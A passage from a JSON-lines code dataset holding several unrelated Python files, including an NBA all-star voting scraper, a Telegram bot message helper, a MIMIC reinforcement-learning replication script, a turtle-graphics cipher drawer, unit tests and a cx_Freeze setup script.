BeautifulSoup object\n r = requests.get(url)\n data = r.text\n soup = BeautifulSoup(data, 'lxml')\n table = soup.find_all('table')\n \n df = pd.DataFrame(columns = ['Player', 'Votes', 'Year'])\n \n if year <= 2012:\n num_positions = 3\n else:\n num_positions = 2\n \n for ii in range(2, 2 + mnum_positions*2):\n table_ii = table[ii]\n df_ii = pd.read_html(str(table_ii))\n df_ii = df_ii[0]\n df_ii = df_ii[[1, 2]]\n df_ii.columns = ['Player', 'Votes']\n df_ii['Year'] = year\n \n df = df.append(df_ii)\n else:\n var = ['frontcourt-eastern', 'backcourt-eastern', 'frontcourt-western', 'backcourt-western']\n df = pd.DataFrame(columns = ['Player', 'Votes', 'Year'])\n for ii in var:\n \n url = 'https://www.basketball-reference.com/allstar/NBA_' + str(year) + '_voting-' + ii + '-conference.html'\n \n r = requests.get(url)\n data = r.text\n soup = BeautifulSoup(data, 'lxml')\n table = soup.find_all('table')\n \n tt = table[0]\n df_ii = pd.read_html(str(tt))\n df_ii = df_ii[0]\n df_ii = df_ii.iloc[:, 1:3]\n df_ii.columns = ['Player', 'Votes']\n df_ii['Year'] = year\n \n df = df.append(df_ii)\n\n return df\n \ndf_out = pd.DataFrame(columns = ['Player', 'Votes', 'Year'])\n\nfor ii in range(1975, 2019):\n if ii != 1999:\n df = allstar_voting(ii)\n df_out = df_out.append(df)\n \n print(str(ii) + ' done!')\n \npath_out = '/Users/rjp34/Documents/Github/NBA/Data/'\ndf_out.to_csv(path_out+'nba_allstar_voting.csv')\n \n \n \n \n \n \n \n \n \n \n \n ","repo_name":"ryanjpeabody/NBA-statistical-analysis","sub_path":"Data_scrapers/get_allstar_voting.py","file_name":"get_allstar_voting.py","file_ext":"py","file_size_in_byte":2191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"15255746618","text":"import requests\nimport os\n\nREMINDER_MSG_REPETITION = 1\n#init env\ntoken = os.environ.get('tele_bot_binance_toke')\nchat_id = os.environ.get('tele_bot_binance_chat_id')\n\n\ndef send_msg(text):\n print(text)\n params = {'chat_id': chat_id, 'text': text, 'parse_mode': 'HTML'}\n resp = requests.post('https://api.telegram.org/bot{}/sendMessage'.format(token), params)\n resp.raise_for_status()\n\ndef send_msg_repetition(text):\n params = {'chat_id': chat_id, 'text': text, 'parse_mode': 'HTML'}\n i = 0\n while i < REMINDER_MSG_REPETITION:\n resp = requests.post('https://api.telegram.org/bot{}/sendMessage'.format(token), params)\n resp.raise_for_status()\n time.sleep(1)\n i = i + 1\n","repo_name":"mralien12/binance_bot","sub_path":"telegram_api.py","file_name":"telegram_api.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"18124569653","text":"DATE_STR=''\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import ShuffleSplit\nfrom sklearn.cluster import KMeans, MiniBatchKMeans\nfrom copy import deepcopy\nfrom tqdm import tqdm\nfrom time import time\nimport shelve\n\nimport trajectoryInspection.mdp_utils as cf\n\n# Custom configurations, loads things like colbin in the background\nfrom trajectoryInspection.mimic_config import colbin, colnorm, collog\nimport trajectoryInspection.mimic_utils as utils\n\nimport logging as log\nlog.basicConfig(\n filename='logs/{}-replication.log'.format(DATE_STR), filemode='w',\n format='%(asctime)s - %(levelname)s \\t %(message)s',\n level=log.DEBUG)\n\nimport argparse\nparser = argparse.ArgumentParser(description=\"Main Replication Script\")\nparser.add_argument(\n '--full', action='store_true', help='Run in full (not debugging) mode')\nparser.add_argument(\n '--use_tqdm', action='store_true', help='Use progress bars')\nargs = parser.parse_args()\n\nDISCOUNT_Pol=0.99\nDISCOUNT = 1.\nNSIMSAMPS_RL = 1000\nNCFSAMPS=5\nN_HORIZON=20\n\nEPS_SOFTEN_BEHAVIOR=0.01 # How much by which to soften the *behaviour* policy\nEPS_SOFTEN_TX=0.01 # Add this much over all never-seen transitions for CFs\n\nnra = 5\nnact = nra**2 # Note: DO NOT CHANGE nact or nra, as it won't be reflected in the bins\n\n# Set to false to run the full script, otherwise use small numbers (e.g., number of clusters)\nDEBUG=not(args.full)\nUSE_TQDM=args.use_tqdm\n\nncl = 750\nnclustering = 32\nnr_reps = 500 # 500 in the original paper\nprop = 0.25\nUSE_BOOTSTRAP = True # Note, this ONLY applies to WIS to get 95% LB, and test WIS\nN_BOOTSTRAP = 750 # Note, this ONLY applies to WIS to get 95% LB, and test WIS\nminibatch = False # Use minibatch k-means\nsubsample = None # New var, subsample the whole dataset\n\nif DEBUG:\n ncl = 750\n nclustering = 32\n nr_reps = 1 # Much fewer reps\n prop = 0.25\n USE_BOOTSTRAP = True\n N_BOOTSTRAP = 750\n minibatch = True # Use minibatch k-means\n subsample = None\n\nlog.info((\"USING ARGUMENTS:\"\n \"\\n\\t ncl: {}\"\n \"\\n\\t nclustering: {}\"\n \"\\n\\t nr_reps: {}\"\n \"\\n\\t prop: {}\"\n \"\\n\\t USE_BOOTSTRAP: {}\"\n \"\\n\\t N_BOOTSTRAP: {}\"\n \"\\n\\t minibatch: {}\"\n \"\\n\\t subsample: {}\").format(\n ncl, nclustering, nr_reps,\n prop, USE_BOOTSTRAP, N_BOOTSTRAP,\n minibatch, subsample)\n )\n\ndeath_state_idx = ncl\nlives_state_idx = ncl+1\n\n# Import the dataframe\nfpath = '<REPLACE WITH DATA PATH>'\n# Export the results\ndatapath = '<REPLACE WITH OUTPUT PATH>'\n\nlog.info(\"Loading data from file\")\nraw = pd.read_csv(\"{}/mimic-table.csv\".format(fpath)) #MIMICtable\n\ndata_dict = shelve.open(\"{}/{}-data_dict.db\".format(datapath, DATE_STR))\n\n# NOTE: There is a weird (mistaken column?) normalization they do, see def\nlog.info(\"Filtering and normalizing data\")\nX, y, a, bin_info_dict, scaler = utils.get_Xya(\n raw, subsample=subsample, colbin=colbin, colnorm=colnorm, collog=collog)\nicuuniqueids = X.index.get_level_values('icustayid').unique()\n\ndata_dict['X'] = X\ndata_dict['y'] = y\ndata_dict['a'] = a\ndata_dict['bin_info_dict'] = bin_info_dict\ndata_dict['scaler'] = scaler\n\nnp.random.seed(0)\ntest_ids = np.random.choice(icuuniqueids, np.floor(len(icuuniqueids) * prop).astype(int))\n\n# Filter down to the train/validation set\ntrain_val_ids = icuuniqueids[~icuuniqueids.isin(test_ids)]\ntest_ids = icuuniqueids[icuuniqueids.isin(test_ids)]\n\ndata_dict['train_val_ids'] = train_val_ids\ndata_dict['test_ids'] = test_ids\n\n# Initialize K-Means algorithm\nobs_rewards = []\nwis_rewards = []\nobs_ho_rewards = []\nwis_ho_rewards = []\nwis_ho_rewards_lb = []\nmb_rewards = []\n\nbest_result_dict = {}\n\nbest_ho_wis_lb = -100.\nfinal_kmeans = None\n\n# Train / Validation split on ICU Stay IDs\nnp.random.seed(0)\nrs = ShuffleSplit(n_splits=nr_reps, test_size=.20, random_state=0)\ni = 0\n\nlog.info(\"Starting primary loop\")\nfor train_index, val_index in tqdm(rs.split(train_val_ids), total=nr_reps,\n disable=not(USE_TQDM), desc=\"Main Loop over {} models\".format(nr_reps)):\n i += 1\n if not(USE_TQDM):\n log.info(\"Iteration {}/{}\".format(i, nr_reps))\n\n np.random.seed(i)\n if minibatch:\n kmeans = MiniBatchKMeans(n_clusters=ncl,\n random_state=i,\n n_init=nclustering,\n batch_size=ncl*3)\n else:\n kmeans = KMeans(n_clusters=ncl,\n random_state=i,\n n_init=nclustering,\n n_jobs=nclustering)\n\n train_index = train_val_ids[train_index]\n val_index = train_val_ids[val_index]\n\n # Training subset for k-means\n n_sub_idx = np.floor(train_index.shape[0]*prop).astype(int)\n sub_idx = np.random.choice(train_index, n_sub_idx)\n\n kmeans = kmeans.fit(X[X.index.get_level_values(0).isin(sub_idx)])\n\n # Predict with kmeans and get trajectories formatted correctly\n traj_train = utils.get_traj(X, y, a, train_index,\n death_state_idx, lives_state_idx, kmeans)\n traj_val = utils.get_traj(X, y, a, val_index,\n death_state_idx, lives_state_idx, kmeans)\n\n obs_tx_cts_unadjusted, obs_tx_mat_adjusted, obs_r_mat, obs_init_state = \\\n utils.get_traj_stats(traj_train, nact, ncl, death_state_idx, lives_state_idx)\n\n # Learn an initial policy!\n obsMDP = cf.MatrixMDP(obs_tx_mat_adjusted, obs_r_mat,\n p_initial_state=obs_init_state)\n\n assert np.allclose(obs_tx_mat_adjusted.sum(axis=-1), 1)\n RlPol = obsMDP.policyIteration(discount=DISCOUNT_Pol, skip_check=True)\n\n check_prop, check = utils.check_rl_policy(RlPol, obs_tx_cts_unadjusted)\n if check is False:\n log.error(\n \"Warning: {} of RL actions were never taken!\".format(check_prop))\n\n # Get a soft version of the RL policy for WIS\n RlPolSoft = np.copy(RlPol).astype(float)\n RlPolSoft[RlPolSoft == 1] = 0.99\n RlPolSoft[RlPolSoft == 0] = 0.01 / (nact - 1)\n\n # If you would rather do what the AI clinician did (truncate transitions in \n # the WIS, as well as in the learned MDP) then replace this with obs_tx_cts_adjusted\n obs_b, obs_b_soft = utils.get_obs_policy(\n obs_tx_cts_unadjusted, eps=EPS_SOFTEN_BEHAVIOR)\n\n # Step 1: Reformat the trajectories as a numpy array with \n # (N_trajectories x N_HORIZON x 7 features) so that they have N_HORIZON \n # steps each\n train_samps, _ = utils.reformat_samples(traj_train, N_HORIZON=N_HORIZON)\n val_samps, _ = utils.reformat_samples(traj_val, N_HORIZON=N_HORIZON)\n\n obs_reward = cf.eval_on_policy(\n train_samps, discount=DISCOUNT)\n\n wis_reward, _, _ = cf.eval_wis(\n train_samps, discount=DISCOUNT,\n obs_policy=obs_b_soft, new_policy=RlPolSoft)\n\n obs_ho_reward = cf.eval_on_policy(\n val_samps, discount=DISCOUNT)\n\n wis_ho_reward_boot, _, _ = cf.eval_wis(\n val_samps, discount=DISCOUNT,\n bootstrap=USE_BOOTSTRAP, n_bootstrap=N_BOOTSTRAP,\n obs_policy=obs_b_soft, new_policy=RlPolSoft)\n\n if USE_BOOTSTRAP:\n wis_ho_reward = wis_ho_reward_boot.mean()\n wis_ho_reward_lb = np.quantile(wis_ho_reward_boot, 0.05)\n else:\n wis_ho_reward = wis_ho_reward_boot\n wis_ho_reward_lb = None\n\n BSampler = cf.BatchSampler(mdp=obsMDP)\n this_mb_samples_opt = BSampler.on_policy_sample(\n policy=RlPol, n_steps=N_HORIZON, n_samps=NSIMSAMPS_RL,\n use_tqdm=False, tqdm_desc='Model-Based OPE')\n\n mb_reward = cf.eval_on_policy(\n this_mb_samples_opt, discount=DISCOUNT)\n\n obs_rewards.append(obs_reward)\n wis_rewards.append(wis_reward)\n obs_ho_rewards.append(obs_ho_reward)\n wis_ho_rewards.append(wis_ho_reward)\n wis_ho_rewards_lb.append(wis_ho_reward_lb)\n mb_rewards.append(mb_reward)\n\n if wis_ho_reward_lb > best_ho_wis_lb:\n log.info(\"Found best WIS LB of {:.4f} at iteration {}\".format(\n wis_ho_reward_lb, i))\n best_ho_wis_lb = wis_ho_reward_lb\n best_result_dict['kmeans'] = deepcopy(kmeans)\n best_result_dict['obs_b'] = np.copy(obs_b)\n best_result_dict['obs_b_soft'] = np.copy(obs_b_soft)\n best_result_dict['rl_pol'] = np.copy(RlPol)\n best_result_dict['rl_pol_soft'] = np.copy(RlPolSoft)\n best_result_dict['traj_train'] = deepcopy(traj_train)\n best_result_dict['train_samps'] = np.copy(train_samps)\n best_result_dict['traj_val'] = deepcopy(traj_val)\n best_result_dict['val_samps'] = np.copy(val_samps)\n\ndata_dict['best_results'] = best_result_dict\ndata_dict['best_ho_wis_lb'] = best_ho_wis_lb\n\n# Note that this is *not* re-done on the entire train/val set, per what is done\n# in the original paper\nfinal_kmeans = best_result_dict['kmeans']\nfinal_obs_b_soft = best_result_dict['obs_b_soft']\nfinal_RlPolSoft = best_result_dict['rl_pol_soft']\n\n# Record the overall reward statistics\nobs_rewards = utils.conv_to_np(obs_rewards)\nwis_rewards = utils.conv_to_np(wis_rewards)\nobs_ho_rewards = utils.conv_to_np(obs_ho_rewards)\nwis_ho_rewards = utils.conv_to_np(wis_ho_rewards)\nwis_ho_rewards_lb = utils.conv_to_np(wis_ho_rewards_lb)\nmb_rewards = utils.conv_to_np(mb_rewards)\n\ndata_dict['obs_rewards'] = obs_rewards\ndata_dict['wis_rewards'] = wis_rewards\ndata_dict['obs_ho_rewards'] = obs_ho_rewards\ndata_dict['wis_ho_rewards'] = wis_ho_rewards\ndata_dict['wis_ho_rewards_lb'] = wis_ho_rewards_lb\ndata_dict['mb_rewards'] = mb_rewards\n\n# Pull out the test samples and check the WIS reward\ntraj_test = utils.get_traj(X, y, a, test_ids,\n death_state_idx, lives_state_idx, final_kmeans)\ntest_samps, test_idx = utils.reformat_samples(traj_test, N_HORIZON=N_HORIZON)\n\nwis_test_reward_boot, _, _ = cf.eval_wis(\n test_samps, discount=DISCOUNT,\n bootstrap=USE_BOOTSTRAP, n_bootstrap=N_BOOTSTRAP,\n obs_policy=final_obs_b_soft, new_policy=final_RlPolSoft)\n\nif USE_BOOTSTRAP:\n wis_test_reward = wis_test_reward_boot.mean()\n wis_test_reward_lb = np.quantile(wis_test_reward_boot, 0.05)\nelse:\n wis_ho_reward = wis_test_reward_boot\n wis_ho_reward_lb = None\n\ndata_dict['traj_test'] = traj_test\ndata_dict['wis_test_reward'] = wis_test_reward\ndata_dict['wis_test_reward_lb'] = wis_test_reward_lb\n\n# Load the training trajectories, and calculate the feature lookup\ntraj_train = best_result_dict['traj_train']\nfeature_lookup = utils.unnormalize_features(\n X.loc[traj_train.index].groupby(traj_train['from_state_idx']).median(), \n colbin, colnorm, collog, scaler)\n\naction_lookup = pd.DataFrame(np.array(\n utils.action_idx_to_bins(np.arange(25))).T, columns=['iol', 'vcl'])\n\nfor i in range(nra):\n action_lookup.loc[action_lookup.iol == i, 'iol_median'] = bin_info_dict['iol']['medians'][i]\n action_lookup.loc[action_lookup.vcl == i, 'vcl_median'] = bin_info_dict['vcl']['medians'][i]\n\ndata_dict['feature_lookup'] = feature_lookup\ndata_dict['action_lookup'] = action_lookup\n\n# NUMPY formatted samples\ndata_dict['test_samps'] = test_samps\n\n# PANDAS formatted samples\ndata_dict['traj_test'] = traj_test\n\ntest_idx_flat = test_idx[:, 0]\ntraj_test_full = utils.traj_to_features(traj_test, feature_lookup, action_lookup)\n\ndata_dict['test_idx_flat'] = test_idx_flat\ndata_dict['traj_test_full'] = traj_test_full\n\nlog.info(\"Done\")\n","repo_name":"clinicalml/trajectory-inspection","sub_path":"replication.py","file_name":"replication.py","file_ext":"py","file_size_in_byte":11246,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"29"} +{"seq_id":"210565854","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 23 16:40:36 2023\n\n@author: Irene\n\nCifrado de clave China:\n \n Ver: https://es.scribd.com/doc/310669075/Clave-China\n \n Los caracteres que no son reconocidos se quedan como un espacio\n en blanco y como caracteres extra, además de las letras del abecedario,\n están incluidos:\n -el espacio ' ' como /\n -las comillas '\"'\n -el punto '.'\n -la coma ','\n -guión '-'\n \n Incluye la Ñ\n \n PD: Se le podrían agregar los signos ¿?¡! más adelante\n\"\"\"\nimport turtle\nfrom turtle import Turtle\n\ndef cerrar():\n try: \n turtle.bye() \n except turtle.Terminator:\n pass\n\ndef claveChina(Mensaje):\n \n turtle.title(\"Clave China\")\n \n ColA = [\"o\",\"ó\",\"ö\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"ú\",\"ü\",\"v\",\"w\",\"x\",\"y\",\"z\"]\n ColE = [\"e\",\"é\",\"f\",\"g\",\"h\",\"o\",\"ó\",\"ö\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"ú\",\"ü\",\"v\",\"w\",\"x\",\"y\",\"z\",\"i\",\"í\",\"j\",\"k\",\"l\",\"m\",\"n\",\"ñ\",]\n ColI = [\"o\",\"ó\",\"ö\",\"p\",\"q\",\"r\",\"s\",\"t\",\"a\",\"á\",\"b\",\"c\",\"d\",\"i\",\"í\",\"j\",\"k\",\"l\",\"m\",\"n\",\"ñ\",\"u\",\"ú\",\"ü\",\"v\",\"w\",\"x\",\"y\",\"z\"]\n ColO = [\"e\",\"é\",\"f\",\"g\",\"h\",\"o\",\"ó\",\"ö\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"ú\",\"ü\",\"v\",\"w\",\"x\",\"y\",\"z\",\"i\",\"í\",\"j\",\"k\",\"l\",\"m\",\"n\",\"ñ\",]\n ColU = [\"u\",\"ú\",\"ü\",\"v\",\"w\",\"x\",\"y\",\"z\"]\n\n Fila2= [\"n\",\"t\",\"z\",\"ñ\"]\n Fila3= [\"c\",\"g\",\"k\",\"q\",\"w\",\"d\",\"h\",\"l\",\"r\",\"x\",\"m\",\"s\",\"y\",\"n\",\"t\",\"z\",\"ñ\"]\n Fila4= [\"b\",\"f\",\"j\",\"p\",\"v\",\"c\",\"g\",\"k\",\"q\",\"w\",\"d\",\"h\",\"l\",\"r\",\"x\",\"m\",\"s\",\"y\",\"n\",\"t\",\"z\",\"ñ\"]\n Fila5= [\"d\",\"h\",\"l\",\"r\",\"x\",\"m\",\"s\",\"y\",\"n\",\"t\",\"z\",\"ñ\"]\n Fila6= [\"m\",\"s\",\"y\",\"n\",\"t\",\"z\",\"ñ\"]\n Fila7= [\"ñ\"]\n \n fontSize = 0.5\n \n def InitialiseTurtle(t):\n t.speed(0)\n t.hideturtle()\n t.pensize(3)\n t.color('black')\n \n def PenGoto(loc,t):\n t.penup()\n t.goto(loc)\n t.pendown()\n \n def CA(locx,locy,t):\n PenGoto((locx,locy),t)\n t.setheading(90)\n t.forward(80*fontSize)\n \n def F2(locx,locy,t):\n PenGoto((locx-23*fontSize,locy),t)\n t.setheading(0)\n t.forward(80*fontSize)\n \n \n def Guion(locx,locy,t):\n temp = t.pensize()\n draw.pensize(5*fontSize)\n PenGoto((locx+2,locy+12),t)\n t.setheading(0)\n t.forward(15)\n draw.pensize(temp)\n \n def Comillas(locx,locy,t):\n temp = t.pensize()\n PenGoto((locx+5,locy+27),t)\n t.setheading(90-25)\n t.forward(12)\n PenGoto((locx+10,locy+27),t)\n t.setheading(90-25)\n t.forward(12)\n draw.pensize(temp)\n \n def Punto(locx,locy,t):\n temp = t.pensize()\n PenGoto((locx+10,locy),draw)\n draw.pensize(8)\n draw.forward(0.01)\n draw.pensize(temp)\n \n def Coma(locx,locy,t):\n temp = t.pensize()\n PenGoto((locx+25*fontSize,locy+5*fontSize),draw)\n draw.pensize(10*fontSize)\n draw.forward(0.01)\n t.setheading(90)\n draw.pensize(9*fontSize)\n draw.back(3)\n t.setheading(90-20)\n draw.pensize(7*fontSize)\n draw.back(3)\n t.setheading(90-35)\n draw.pensize(5.5*fontSize)\n draw.back(3)\n t.setheading(90-60)\n draw.pensize(4*fontSize)\n draw.back(3)\n draw.pensize(temp)\n \n def DDiagonal(locx,locy,t):\n PenGoto((locx,locy),t)\n t.setheading(90-30)\n t.forward(44.72*fontSize)\n PenGoto((locx+14*fontSize,locy),t)\n t.setheading(90-30)\n t.forward(44.72*fontSize)\n \n def SDiagonal(locx,locy,t):\n PenGoto((locx,locy),t)\n t.setheading(90-30)\n t.forward(70*fontSize)\n \n def Circle(locx,locy,t):\n temp = t.pensize()\n PenGoto((locx+25*fontSize,locy+15*fontSize),draw)\n draw.pensize(10*fontSize)\n draw.forward(0.01)\n draw.pensize(temp)\n \n def Flecha(locx,locy,t):\n temp = t.pensize()\n PenGoto((locx,locy),t)\n draw.pensize(5*fontSize)\n t.setheading(90-45)\n t.forward(15*fontSize)\n t.setheading(-45)\n t.back(15*fontSize) \n t.setheading(-45)\n t.forward(15*fontSize)\n t.setheading(0)\n t.back(35*fontSize)\n draw.pensize(temp)\n \n def Square(mode,locx,locy):\n if \"colA\" in mode:\n CA(locx,locy-5,draw)\n if \"colE\" in mode:\n CA(locx+5,locy-5,draw)\n if \"colI\" in mode:\n CA(locx+10,locy-5,draw)\n if \"colO\" in mode:\n CA(locx+15,locy-5,draw)\n if \"colU\" in mode:\n CA(locx+20,locy-5,draw)\n if \"fila2\" in mode:\n F2(locx,locy+27,draw)\n if \"fila3\" in mode:\n F2(locx,locy+22,draw)\n if \"fila4\" in mode:\n F2(locx,locy+17,draw)\n if \"fila5\" in mode:\n F2(locx,locy+12,draw)\n if \"fila6\" in mode:\n F2(locx,locy+7,draw)\n if \"fila7\" in mode:\n F2(locx,locy+2,draw)\n if \"dobleDiagonal\" in mode:\n DDiagonal(locx,locy,draw)\n if \"simpleDiagonal\" in mode:\n SDiagonal(locx,locy,draw)\n if \"flecha\" in mode:\n Flecha(locx+25,locy+10,draw)\n \n turtle.resetscreen()\n turtle.hideturtle()\n draw = Turtle()\n InitialiseTurtle(draw)\n \n #Cordenada inicial\n x = -340\n y = 240\n \n #Indica el inicio de la clave con una flecha\n Square(\"flecha\", x, y)\n x += 110*fontSize\n \n for i in Mensaje:\n try:\n i = i.lower()\n except:\n None\n mode = \"\"\n if i in ['\"']:\n Comillas(x,y,draw)\n if i in ['.']:\n Punto(x,y,draw)\n if i in [',']:\n Coma(x,y,draw)\n if i in [\" \"]:\n mode+=\"simpleDiagonal\"\n if i in ColA:\n mode+=\"colA\"\n if i in ColE:\n mode+=\"colE\"\n if i in ColI:\n mode+=\"colI\"\n if i in ColO:\n mode+=\"colO\"\n if i in ColU:\n mode+=\"colU\"\n if i in Fila2:\n mode+=\"fila2\"\n if i in Fila3:\n mode+=\"fila3\"\n if i in Fila4:\n mode+=\"fila4\"\n if i in Fila5:\n mode+=\"fila5\"\n if i in Fila6:\n mode+=\"fila6\"\n if i in Fila7:\n mode+=\"fila7\"\n if i in [\"-\"]:\n Guion(x,y,draw)\n \n Square(mode,x,y)\n x += 110*fontSize\n if x >= 300:\n x = -320\n y -= 110*fontSize\n\n turtle.Screen._update = False \n turtle.Screen.mainloop()\n \n \n#Mensaje = input(\"Introduce el mensaje para cifrar: \")\n#claveChina(\"L-lBD a, d. \\\" .ñ.ñ,ñ-ñ\\\"ñ\")\n#turtle.reset()","repo_name":"irefut/cifraClaves","sub_path":"claves/CifrarChina.py","file_name":"CifrarChina.py","file_ext":"py","file_size_in_byte":6754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"70289864077","text":"import bibtex\nimport unittest\n\nclass TestBibtexExtract(unittest.TestCase):\n def setUp(self):\n self.bibtex_entry_1 = \"@Book{key1,\\n\\\n author={Smith, John},\\n\\\n title={A very silly book},\\n\\\n publisher = {Silly Publisher},\\n\\\n year={1987}\\n\\\n }\"\n self.bibtex_entry_2 = \"@Article{key2,\\n\\\n author={Smith, John},\\n\\\n title = {Another very silly article},\\n\\\n publisher = {Silly Publisher},\\n\\\n year={1988}\\n\\\n }\"\n def test_entry_type(self):\n entry_1 = bibtex.entry_type(self.bibtex_entry_1)\n self.assertEqual(entry_1,'Book')\n entry_2 = bibtex.entry_type(self.bibtex_entry_2)\n self.assertEqual(entry_2,'Article')\n def test_get_key(self):\n key_1 = bibtex.get_key(self.bibtex_entry_1)\n self.assertEqual(key_1,'key1')\n key_2 = bibtex.get_key(self.bibtex_entry_2)\n self.assertEqual(key_2,'key2')\n\n def test_get_entries(self):\n list_1 = bibtex.get_entries(self.bibtex_entry_1)\n list_1_correct = [('author','Smith, John'),\n ('title','A very silly book'),\n ('publisher','Silly Publisher'),\n ('year','1987')]\n self.assertEqual(list_1,list_1_correct)\n list_2 = bibtex.get_entries(self.bibtex_entry_2)\n list_2_correct = [('author','Smith, John'),\n ('title','Another very silly article'),\n ('publisher','Silly Publisher'),\n ('year','1988')]\n self.assertEqual(list_2,list_2_correct)\n\n def test_find_stuff(self):\n entry_1 = '{ stuff1 } the rest of the stuff'\n (stuff1,rest_entry) = bibtex.find_stuff(entry_1)\n self.assertEqual(stuff1,'stuff1')\n self.assertEqual(rest_entry,' the rest of the stuff')\n entry_2 = '{ stuff{more stuff}} the rest of the stuff'\n (stuff2,rest_of_entry_2) = bibtex.find_stuff(entry_2)\n self.assertEqual(stuff2,'stuff{more stuff}')\n self.assertEqual(rest_of_entry_2,' the rest of the stuff')\n\n\nif __name__ == '__main__':\n unittest.main()\n\n","repo_name":"JustinKennethPearson/testingcourse","sub_path":"Code/test_bibtex.py","file_name":"test_bibtex.py","file_ext":"py","file_size_in_byte":2151,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"29"} +{"seq_id":"19336707864","text":"# pylint: skip-file\n\"\"\"\nChecks the first lab text preprocessing functions\n\"\"\"\n\nimport unittest\nfrom main import tokenize\n\n\nclass TokenizeTest(unittest.TestCase):\n \"\"\"\n Tests tokenize function\n \"\"\"\n\n def test_tokenize_ideal(self):\n \"\"\"\n Ideal tokenize scenario\n \"\"\"\n expected = ['the', 'weather', 'is', 'sunny', 'the', 'man', 'is', 'happy']\n actual = tokenize('The weather is sunny, the man is happy.')\n self.assertEqual(expected, actual)\n\n def test_tokenize_several_sentences(self):\n \"\"\"\n Tokenize text with several sentences\n \"\"\"\n expected = ['the', 'first', 'sentence', 'the', 'second', 'sentence']\n actual = tokenize('The first sentence. The second sentence.')\n self.assertEqual(expected, actual)\n\n def test_tokenize_punctuation_marks(self):\n \"\"\"\n Tokenize text with different punctuation marks\n \"\"\"\n expected = ['the', 'first', 'sentence', 'nice', 'the', 'second', 'sentence', 'bad']\n actual = tokenize('The, first sentence - nice. The second sentence: bad!')\n self.assertEqual(expected, actual)\n\n def test_tokenize_deutsch_ideal(self):\n \"\"\"\n Tokenize deutsch text\n \"\"\"\n expected = ['ich', 'weiß', 'nicht', 'was', 'ich', 'machen',\n 'möchte', 'vielleicht', 'ich', 'muss', 'das', 'überlegen']\n actual = tokenize('Ich weiß nicht was ich machen möchte. Vielleicht ich muss das überlegen')\n self.assertEqual(expected, actual)\n\n def test_tokenize_dirty_text(self):\n \"\"\"\n Tokenize dirty text\n \"\"\"\n expected = ['the', 'first', 'sentence', 'the', 'second', 'sentence']\n actual = tokenize('The first% sentence><. The sec&*ond sent@ence #.')\n self.assertEqual(expected, actual)\n\n def test_tokenize_bad_input(self):\n \"\"\"\n Tokenize bad input argument scenario\n \"\"\"\n bad_inputs = [[], {}, (), None, 9, 9.34, True]\n expected = None\n for bad_input in bad_inputs:\n actual = tokenize(bad_input)\n self.assertEqual(expected, actual)\n","repo_name":"fipl-hse/2021-2-level-labs","sub_path":"lab_1/tokenize_test.py","file_name":"tokenize_test.py","file_ext":"py","file_size_in_byte":2143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"34961801608","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Nov 16 04:36:19 2020\r\n\r\n@author: Piyush Chanchal\r\nIt is using CX_freeze library\r\n\"\"\"\r\n\r\n\r\n\r\nimport sys\r\nfrom cx_Freeze import setup, Executable\r\n\r\n# Dependencies are automatically detected, but it might need fine tuning.\r\nbuild_exe_options = {\"packages\": [\"tkinter\",\"pandas\",\"os\"],\"include_files\":[(r'C:\\Temp1\\MyData\\CSVs\\Images',r\"images\")]}\r\n\r\n\r\n# GUI applications require a different base on Windows (the default is for a\r\n# console application).\r\nbase = None\r\nif sys.platform == \"win32\":\r\n base = \"Win32GUI\"\r\n\r\nsetup( name = \"CSVsMerger\",\r\n version = \"1.0\",\r\n description = \"Desktop application which can merge two CSVs files into one.\",\r\n options = {\"build_exe\": build_exe_options},\r\n executables = [Executable(\"Main.py\", base=base)])\r\n\r\noptions = {\"build_exe\": build_exe_options},","repo_name":"piyush-chanchal/Pandas-CSV-files-merger","sub_path":"Setup.py","file_name":"Setup.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"9690523812","text":"# -*- coding: utf-8 -*-\n#\n# Alias Robotics SL\n# https://aliasrobotics.com\n\n\"\"\"\nScript containing default values and structures for RVD\n\"\"\"\nfrom .schema import SCHEMA\nfrom ..utils import red\nimport sys\nfrom cerberus import Validator\n\n\ndef default_document():\n \"\"\"\n Produce a default document based\n on the schema\n \"\"\"\n document = {\n 'id': 1,\n 'title': \"\",\n 'type': \"bug\",\n 'description': \"\",\n 'cwe': \"None\",\n 'cve': \"None\",\n 'keywords': \"\",\n 'system': \"\",\n 'vendor': None,\n 'severity': {\n 'rvss-score': 0,\n 'rvss-vector': \"\",\n 'severity-description': \"\",\n 'cvss-score': 0,\n 'cvss-vector': \"\",\n },\n 'links': \"\",\n 'flaw': {\n 'phase': \"unknown\",\n 'specificity': \"N/A\",\n 'architectural-location': \"N/A\",\n 'application': \"N/A\",\n 'subsystem': \"N/A\",\n 'package': \"N/A\",\n 'languages': \"None\",\n 'date-detected': \"\",\n 'detected-by': \"\",\n 'detected-by-method': \"N/A\",\n 'date-reported': \"\",\n 'reported-by': \"\",\n 'reported-by-relationship': \"N/A\",\n 'issue': \"\",\n 'reproducibility': \"\",\n 'trace': \"\",\n 'reproduction': \"\",\n 'reproduction-image': \"\",\n },\n 'exploitation': {\n 'description': \"\",\n 'exploitation-image': \"\",\n 'exploitation-vector': \"\",\n },\n 'mitigation': {\n 'description': \"\",\n 'pull-request': \"\",\n 'date-mitigation': \"\",\n },\n }\n\n v = Validator(SCHEMA, allow_unknown=True)\n if v.validate(document, SCHEMA):\n document = v.document\n return document\n else:\n red(\"Error generaring default document, not valid\")\n # debug which values are causing problems with the validation\n for key in v.errors.keys():\n print(\"\\t\" + str(key) + \": \", end='')\n red(\"not valid\", end='')\n print(': ' + 